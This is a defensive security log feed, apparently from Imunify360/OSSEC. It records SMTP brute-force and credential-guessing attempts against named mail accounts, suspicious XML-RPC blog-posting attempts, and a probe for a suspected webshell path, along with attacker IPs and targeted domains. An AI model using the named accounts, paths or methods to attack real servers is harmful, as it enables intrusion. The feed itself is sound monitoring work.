rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0927ef05095540c0d002e9dc3f9987a339084c65||Title:0x06b5d22a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-01-31 07:20:15 dovecot_login authenticator failed for H=([110.185.173.167]) [110.185.173.167]:44004: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.214.49.194
country_id: 6252001
description:
2026-01-31 07:20:22 dovecot_login authenticator failed for H=wsip-72-214-49-194.hr.hr.cox.net [72.214.49.194]:32964: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 07:20:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jc@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.18
country_id: 1269750
description:
2026-01-31 07:20:13 dovecot_login authenticator failed for H=([128.185.101.201]) [122.185.146.18]:43934: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.90.133.142
country_id: 1694008
description:
2026-01-31 07:20:24 dovecot_login authenticator failed for H=([202.90.133.142]) [202.90.133.142]:16914: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:21:11 dovecot_login authenticator failed for H=(1Do8Vs9) [178.16.54.138]:56714: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b6eee4654a0907a6b5c97105508cf358a39a14ea||Title:0x7938bc02||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 07:21:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jc@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: stonewld.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/stonewld/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:22:09 dovecot_login authenticator failed for H=(nsdEGcbL) [178.16.54.138]:64989: 535 Incorrect authentication data (set_id=jecyl@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 07:22:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jc@mckd.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:22:23 dovecot_login authenticator failed for H=(G1TSJR) [178.16.54.138]:61696: 535 Incorrect authentication data (set_id=jc@mckd.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bbfb0010015aabd527b4247be20719bbc00dd986||Title:0x88cddc45||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-01-31 07:22:24 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:55656: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.88.184
country_id: 1668284
description:
2026-01-31 07:23:35 dovecot_login authenticator failed for H=110-25-88-184.adsl.fetnet.net [110.25.88.184]:47669: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-01-31 07:23:21 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:59782: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e8ccd729e8019ddca5de6ca80feac903068c1bd4||Title:0x90edb494||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.125.124.14
country_id: 3469034
description:
2026-01-31 07:23:16 dovecot_login authenticator failed for H=(vtx-b-124-014.virtex.com.br) [179.125.124.14]:53874: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-31 07:23:21 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:33218: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:23:23 dovecot_login authenticator failed for H=(HstaPlyq70) [178.16.54.138]:56777: 535 Incorrect authentication data (set_id=jecyl@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.210
country_id: 2542007
description:
2026-01-31 07:24:41 dovecot_login authenticator failed for H=([154.144.255.210]) [154.144.255.210]:49220: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 07:24:18 dovecot_login authenticator failed for H=(4uKAE3) [178.16.54.138]:64857: 535 Incorrect authentication data (set_id=jecyl@stonewld.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:tuju-guest.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e20e73b698e82fe3c2cdf5c81d7da6e1c4735743||Title:0xa9d036bc||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.64.116
country_id: 1282988
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/productt.php HTTP/1.1||RSV:7.71||T:APACHE||


